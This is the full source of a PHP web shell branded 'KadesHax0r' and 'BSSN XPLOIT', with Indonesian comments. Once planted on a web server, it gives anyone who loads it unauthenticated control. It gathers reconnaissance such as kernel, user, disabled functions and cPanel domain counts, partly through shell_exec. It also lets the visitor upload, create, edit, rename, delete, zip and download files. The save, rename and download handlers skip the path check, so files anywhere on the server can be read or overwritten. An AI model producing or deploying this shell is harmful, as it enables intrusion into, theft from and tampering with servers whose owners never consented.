<?php
error_reporting(0);
ini_set('display_errors',0);

$root=__DIR__;

$requestPath = parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH);
$requestPath = trim($requestPath,'/');

// hanya jalankan kalau bukan file PHP utama
if($requestPath && $requestPath != basename($_SERVER['PHP_SELF'])){
    $autoPath = realpath($root.'/'.$requestPath);
    if($autoPath && strpos($autoPath,$root)===0){
        $_GET['path']=$autoPath;
    }
}

$current=isset($_GET['path'])?realpath($_GET['path']):$root;
if(!$current||strpos($current,$root)!==0){
    $current=$root;
}

$msg='';

// SERVER INFO
$server_ip=@gethostbyname($_SERVER['SERVER_NAME']);
$visitor_ip=$_SERVER['REMOTE_ADDR'];
$hostname=@gethostname();
$domain=$_SERVER['SERVER_NAME'];
$server_soft=$_SERVER['SERVER_SOFTWARE'];
$php_version=phpversion();
$os=PHP_OS;
$user=@get_current_user();
$kernel=@php_uname();
$server_time=date("Y-m-d H:i:s");
$php_sapi=@php_sapi_name();
$disabled=@ini_get('disable_functions');
$document_root=$_SERVER['DOCUMENT_ROOT'];

$disk_total=round(@disk_total_space("/")/1024/1024/1024,2);
$disk_free=round(@disk_free_space("/")/1024/1024/1024,2);
$disk_used=$disk_total-$disk_free;

// TOTAL DOMAIN
$total_domains='Unknown';

if(is_dir('/var/cpanel/userdata')){
    $domains=glob('/var/cpanel/userdata/*',GLOB_ONLYDIR);
    $total_domains=count($domains);
}

// RAM INFO
$ram_total='Unknown';
$ram_free='Unknown';

if(function_exists('shell_exec')){
    $ram=@shell_exec("free -m");
    if($ram){
        $ram=explode("\n",$ram);
        if(isset($ram[1])){
            $data=preg_split('/\s+/',$ram[1]);
            $ram_total=$data[1].' MB';
            $ram_free=$data[3].' MB';
        }
    }
}

// CPU INFO
$cpu='Unknown';

if(function_exists('shell_exec')){
    $cpu=@shell_exec("cat /proc/cpuinfo | grep 'model name' | head -1");
    $cpu=str_replace("model name :","",$cpu);
}

// UPTIME
$uptime='Unknown';

if(function_exists('shell_exec')){
    $uptime=@shell_exec("uptime -p");
}

// CREATE FOLDER
if(isset($_POST['newfolder'])){
$f=trim($_POST['foldername']);
if($f!=''){
@mkdir($current.'/'.$f);
$msg='Folder Created';
}
}

// CREATE FILE
if(isset($_POST['newfile'])){
$f=trim($_POST['filename']);
if($f!=''){
@file_put_contents($current.'/'.$f,'');
$msg='File Created';
}
}

// UPLOAD FILE
if(isset($_POST['upload'])){
if(!empty($_FILES['file']['tmp_name'])){
$name=preg_replace('/[^a-zA-Z0-9._-]/','_',$_FILES['file']['name']);
$tmp=$_FILES['file']['tmp_name'];
$target=$current.'/'.$name;

if(copy($tmp,$target)){
$msg='Upload Success';
}else{
$msg='Upload Failed';
}
}
}

// DELETE FILE
if(isset($_GET['delete'])){
$d=realpath($_GET['delete']);

if($d&&strpos($d,$root)===0){
if(is_file($d)){
@unlink($d);
}
}

header("Location:?path=".urlencode($current));
exit;
}

// DELETE FOLDER
if(isset($_GET['delfolder'])){
$d=realpath($_GET['delfolder']);

if($d&&strpos($d,$root)===0){
if(is_dir($d)){
@rmdir($d);
}
}

header("Location:?path=".urlencode($current));
exit;
}

// RENAME
if(isset($_POST['rename'])){
$old=$_POST['old'];
$new=trim($_POST['newname']);

if($new!=''){
$newpath=dirname($old).'/'.$new;
@rename($old,$newpath);
$msg='Rename Success';
}
}

// SAVE FILE
if(isset($_POST['savefile'])){
$file=$_POST['filepath'];
$content=$_POST['content'];

@file_put_contents($file,$content);

$msg='File Saved';
}

// ZIP CREATE
if(isset($_POST['zip'])){
$zipname=trim($_POST['zipname']);

$zip=new ZipArchive();

if($zip->open($current.'/'.$zipname.'.zip',ZipArchive::CREATE)===TRUE){

$fileszip=glob($current.'/*');

foreach($fileszip as $f){
if(is_file($f)){
$zip->addFile($f,basename($f));
}
}

$zip->close();

$msg='ZIP Created';
}
}

// DOWNLOAD
if(isset($_GET['download'])){
$file=realpath($_GET['download']);

if(is_file($file)){
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename='.basename($file));
header('Content-Length: '.filesize($file));

readfile($file);
exit;
}
}

// SEARCH
$search=$_GET['search']??'';

$files=glob($current.'/*');

if($search!=''){
$files=array_filter($files,function($f)use($search){
return stripos(basename($f),$search)!==false;
});
}

// URUTKAN FOLDER DI ATAS DAN FILE DI BAWAH
$folders=[];
$onlyfiles=[];

foreach($files as $f){
if(is_dir($f)){
$folders[]=$f;
}else{
$onlyfiles[]=$f;
}
}

sort($folders);
sort($onlyfiles);

$files=array_merge($folders,$onlyfiles);

// EDITOR
$editContent='';

if(isset($_GET['edit'])){
$editfile=realpath($_GET['edit']);

if(is_file($editfile)){
$editContent=htmlspecialchars(file_get_contents($editfile));
}
}
?>

<!DOCTYPE html>
<html>
<head>
<title>KadesHax0r</title>

<style>
*{margin:0;padding:0;box-sizing:border-box;}

body{
background:#05060a;
color:#cbd5e1;
font-family:Arial;
overflow-x:hidden; /* ✅ FIX WARNA BIRU DI KANAN */
}

.sidebar{
width:230px;
height:100vh;
background:#0a0b10;
position:fixed;
padding:20px;
overflow:auto;
border-right:1px solid #111218;
}

.sidebar h2{
margin-bottom:25px;
color:#4f8cff;
}

.sidebar a{
display:block;
padding:9px;
margin-bottom:5px;
text-decoration:none;
color:#94a3b8;
border-radius:6px;
font-size:13px;
}

.sidebar a:hover{
background:#111218;
color:#e2e8f0;
}

.main{
margin-left:230px;
padding:20px;
}

.box{
background:#0a0b10;
padding:15px;
border-radius:10px;
margin-bottom:20px;
border:1px solid #111218;
}

.top-grid{
display:grid;
grid-template-columns:repeat(4,1fr);
gap:10px;
margin-bottom:20px;
}

.mini-box{
background:#0a0b10;
padding:12px;
border-radius:10px;
border:1px solid #111218;
}

.mini-box h3{
font-size:13px;
margin-bottom:8px;
color:#4f8cff;
}

input,textarea{
width:100%;
background:#07080c;
border:1px solid #111218;
color:#d1d5db;
padding:8px;
border-radius:5px;
margin-top:5px;
font-size:12px;
}

textarea{
height:400px;
font-family:monospace;
}

button{
background:#2563eb;
border:none;
padding:5px 8px;
color:white;
border-radius:5px;
cursor:pointer;
margin-top:5px;
width:100%;
font-weight:bold;
font-size:11px;
}

button:hover{
background:#1d4ed8;
}

table{
width:100%;
background:#0a0b10;
border-collapse:collapse;
border-radius:10px;
overflow:hidden;
border:1px solid #111218;
}

th{
background:#1f4fd6;
padding:6px;
text-align:left;
font-size:13px;
color:#ffffff;
white-space:nowrap;
}

td{
padding:6px;
border-bottom:1px solid #111218;
font-size:12px;
white-space:nowrap;
}

tr:hover{
background:#111218;
}

.btn{
display:inline-block;
padding:4px 7px;
border-radius:5px;
text-decoration:none;
color:white;
font-size:11px;
margin-top:3px;
}

.open{background:#2563eb;}
.edit{background:#16a34a;}
.delete{background:#dc2626;}
.download{background:#d97706;}

.folder{color:#4f8cff;font-weight:bold;}

.msg{
background:#166534;
padding:10px;
border-radius:8px;
margin-bottom:20px;
font-size:12px;
}

.stats{
display:grid;
grid-template-columns:repeat(3,1fr);
gap:15px;
margin-bottom:20px;
}

.stat{
background:#0a0b10;
padding:15px;
border-radius:10px;
border:1px solid #111218;
}

.stat h3{
font-size:13px;
margin-bottom:5px;
}

.stat p{
font-size:12px;
}

.server-info p{
margin-bottom:8px;
word-break:break-all;
font-size:12px;
}

@media(max-width:1000px){
.top-grid{grid-template-columns:repeat(2,1fr);}
}

@media(max-width:600px){
.top-grid{grid-template-columns:1fr;}
}
</style>
</head>

<body>

<div class="sidebar">
<h2>BSSN XPLOIT</h2>
<a href="?">🏠 Dashboard</a>
<a href="?path=<?php echo urlencode($root); ?>">📁 Root Folder</a>
<a href="?path=<?php echo urlencode(dirname($current)); ?>">⬅ Back Folder</a>
<a href="#search">🔍 Search</a>
<a href="?serverinfo=1">🖥 Server Info</a>
</div>

<div class="main">

<?php if(isset($_GET['serverinfo'])): ?>
<div class="box server-info">
<h2>🖥 Server Information</h2>
<p><b>PHP:</b> <?php echo $php_version; ?></p>
<p><b>OS:</b> <?php echo $os; ?></p>
<p><b>Kernel:</b> <?php echo $kernel; ?></p>
<p><b>Server:</b> <?php echo $server_soft; ?></p>
<p><b>User:</b> <?php echo $user; ?></p>
<p><b>Hostname:</b> <?php echo $hostname; ?></p>
<p><b>Domain:</b> <?php echo $domain; ?></p>
<p><b>Server IP:</b> <?php echo $server_ip; ?></p>
<p><b>Visitor IP:</b> <?php echo $visitor_ip; ?></p>
<p><b>Total Domain:</b> <?php echo $total_domains; ?></p>
<p><b>Disk Total:</b> <?php echo $disk_total; ?> GB</p>
<p><b>Disk Used:</b> <?php echo $disk_used; ?> GB</p>
<p><b>Disk Free:</b> <?php echo $disk_free; ?> GB</p>
<p><b>RAM Total:</b> <?php echo $ram_total; ?></p>
<p><b>RAM Free:</b> <?php echo $ram_free; ?></p>
<p><b>CPU:</b> <?php echo trim($cpu); ?></p>
<p><b>Uptime:</b> <?php echo $uptime; ?></p>
<p><b>PHP SAPI:</b> <?php echo $php_sapi; ?></p>
<p><b>Disabled Functions:</b> <?php echo $disabled; ?></p>
<p><b>Server Time:</b> <?php echo $server_time; ?></p>
<p><b>Document Root:</b> <?php echo $document_root; ?></p>
</div>
<?php endif; ?>

<?php if($msg!=''){ echo "<div class='msg'>$msg</div>"; } ?>

<div class="stats">
<div class="stat">
<h3>Total Files</h3>
<p><?php echo count($files); ?></p>
</div>
<div class="stat">
<h3>PHP Version</h3>
<p><?php echo phpversion(); ?></p>
</div>
<div class="stat">
<h3>Disk Free</h3>
<p><?php echo round(disk_free_space($root)/1024/1024/1024,2); ?> GB</p>
</div>
</div>

<div class="box">
<b>Current Path:</b><br><br>
<a href="?path=<?php echo urlencode($current); ?>" style="color:#4f8cff;text-decoration:underline;">
<?php echo htmlspecialchars($current); ?>
</a>
</div>

<div class="top-grid">
<div class="mini-box"><h3>Upload File</h3>
<form method="POST" enctype="multipart/form-data">
<input type="file" name="file">
<button name="upload">Upload</button>
</form>
</div>

<div class="mini-box"><h3>Create Folder</h3>
<form method="POST">
<input type="text" name="foldername" placeholder="Folder Name">
<button name="newfolder">Create</button>
</form>
</div>

<div class="mini-box"><h3>Create File</h3>
<form method="POST">
<input type="text" name="filename" placeholder="Filename.php">
<button name="newfile">Create</button>
</form>
</div>

<div class="mini-box"><h3>Create ZIP</h3>
<form method="POST">
<input type="text" name="zipname" placeholder="backup">
<button name="zip">Create</button>
</form>
</div>
</div>

<div class="box" id="search">
<h3>Search File</h3>
<form method="GET">
<input type="hidden" name="path" value="<?php echo htmlspecialchars($current); ?>">
<input type="text" name="search" placeholder="Search file...">
<button>Search</button>
</form>
</div>

<?php if(isset($_GET['edit'])): ?>
<div class="box">
<h3>File Editor</h3>
<form method="POST">
<input type="hidden" name="filepath" value="<?php echo htmlspecialchars($editfile); ?>">
<textarea name="content"><?php echo $editContent; ?></textarea>
<button name="savefile">Save File</button>
</form>
</div>
<?php endif; ?>

<table>
<tr>
<th>Name</th><th>Type</th><th>Size</th><th>Perm</th><th>Action</th>
</tr>

<?php foreach($files as $file): ?>
<?php $name=basename($file); ?>
<tr>
<td><?php echo is_dir($file) ? "📁 ".$name : "📄 ".$name; ?></td>
<td><?php echo is_dir($file)?'Folder':'File'; ?></td>
<td><?php echo is_file($file)?round(filesize($file)/1024,2).' KB':'-'; ?></td>
<td><?php echo substr(sprintf('%o',fileperms($file)),-4); ?></td>
<td>
<?php if(is_dir($file)): ?>
<a class="btn open" href="?path=<?php echo urlencode($file); ?>">OPEN</a>
<a class="btn delete" href="?path=<?php echo urlencode($current); ?>&delfolder=<?php echo urlencode($file); ?>">DELETE</a>
<?php else: ?>
<a class="btn open" target="_blank" href="<?php echo str_replace($root,'',$file); ?>">VIEW</a>
<a class="btn edit" href="?path=<?php echo urlencode($current); ?>&edit=<?php echo urlencode($file); ?>">EDIT</a>
<a class="btn download" href="?path=<?php echo urlencode($current); ?>&download=<?php echo urlencode($file); ?>">DOWNLOAD</a>
<a class="btn delete" href="?path=<?php echo urlencode($current); ?>&delete=<?php echo urlencode($file); ?>">DELETE</a>
<?php endif; ?>

<form method="POST">
<input type="hidden" name="old" value="<?php echo $file; ?>">
<input type="text" name="newname" placeholder="Rename">
<button name="rename">Rename</button>
</form>
</td>
</tr>
<?php endforeach; ?>

</table>

</div>
</body>
</html>
